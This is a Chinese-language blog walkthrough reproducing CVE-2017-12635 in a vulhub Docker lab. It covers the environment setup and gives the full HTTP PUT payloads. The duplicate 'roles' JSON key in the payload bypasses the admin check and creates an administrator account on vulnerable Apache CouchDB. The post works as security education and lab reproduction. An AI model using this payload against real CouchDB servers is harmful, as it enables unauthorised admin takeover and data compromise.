美文网首页vulhub
CVE-2017-12635

CVE-2017-12635

作者: 3mi1e | 来源:发表于2019-07-28 19:28 被阅读241次

Couchdb 垂直权限绕过漏洞(CVE-2017-12635)

1.漏洞影响版本

Apache CouchDB小于 1.7.0 以及 小于 2.1.1

2.漏洞危害

可以让任意用户创建管理员,造成垂直权限绕过

3.漏洞POC

修改dockerfile,内容如下,看过之前文章的可以了解到,只是更新为网易的源,链接:CVE-2016-5385

FROM debian:jessie

MAINTAINER phithon <root@leavesongs.com>

ADD https://github.com/vishnubob/wait-for-it/raw/master/wait-for-it.sh /wait-for-it.sh

RUN mv /etc/apt/sources.list /etc/apt/sources.list.bak && \
echo 'deb http://mirrors.163.com/debian/ jessie main non-free contrib' > /etc/apt/sources.list && \
echo 'deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib' >> /etc/apt/sources.list && \
echo 'deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib' >> /etc/apt/sources.list
RUN set -ex \
    && apt-get update \
    && apt-get install curl -y --no-install-recommends \
    && chmod +x /wait-for-it.sh \
    && { \
        echo '#!/bin/bash'; \
        echo '/wait-for-it.sh ${COUCHDB_URL}'; \
        echo 'curl -X PUT http://${COUCHDB_AUTH}@${COUCHDB_URL}/_users'; \
        echo 'curl -X PUT http://${COUCHDB_AUTH}@${COUCHDB_URL}/_replicator'; \
        echo 'curl -X PUT http://${COUCHDB_AUTH}@${COUCHDB_URL}/_global_changes'; \
    } | tee /run.sh \
    && chmod +x /run.sh \
    && rm -rf /var/lib/apt/lists/*

CMD ["/run.sh"]
dockerfile
cd /root/vulhub/couchdb/CVE-2017-12635                ////进入本次复现的vulhub目录
docker-compose build
docker-compose up -d                                  ////docker-compose搭建环境
docker部署

访问http://your-ip:5984/_utils/即可看到一个web页面,说明Couchdb已成功启动。

首先,发送如下数据包:

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.11.139:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 92

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

可见,返回403错误:{"error":"forbidden","reason":"Only _admin may set roles"},只有管理员才能设置Role角色

创建失败

发送包含两个roles的数据包,即可绕过限制

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.11.139:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}
创建成功

成功创建管理员,账户密码均为vulhub

login success
4.复盘

漏洞出现原因
CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。
总结
漏洞参考URL:

相关文章

  • CVE-2017-12635

    Couchdb 垂直权限绕过漏洞(CVE-2017-12635) 1.漏洞影响版本 Apache CouchDB小...

网友评论

    本文标题:CVE-2017-12635

    本文链接:https://www.haomeiwen.com/subject/okwprctx.html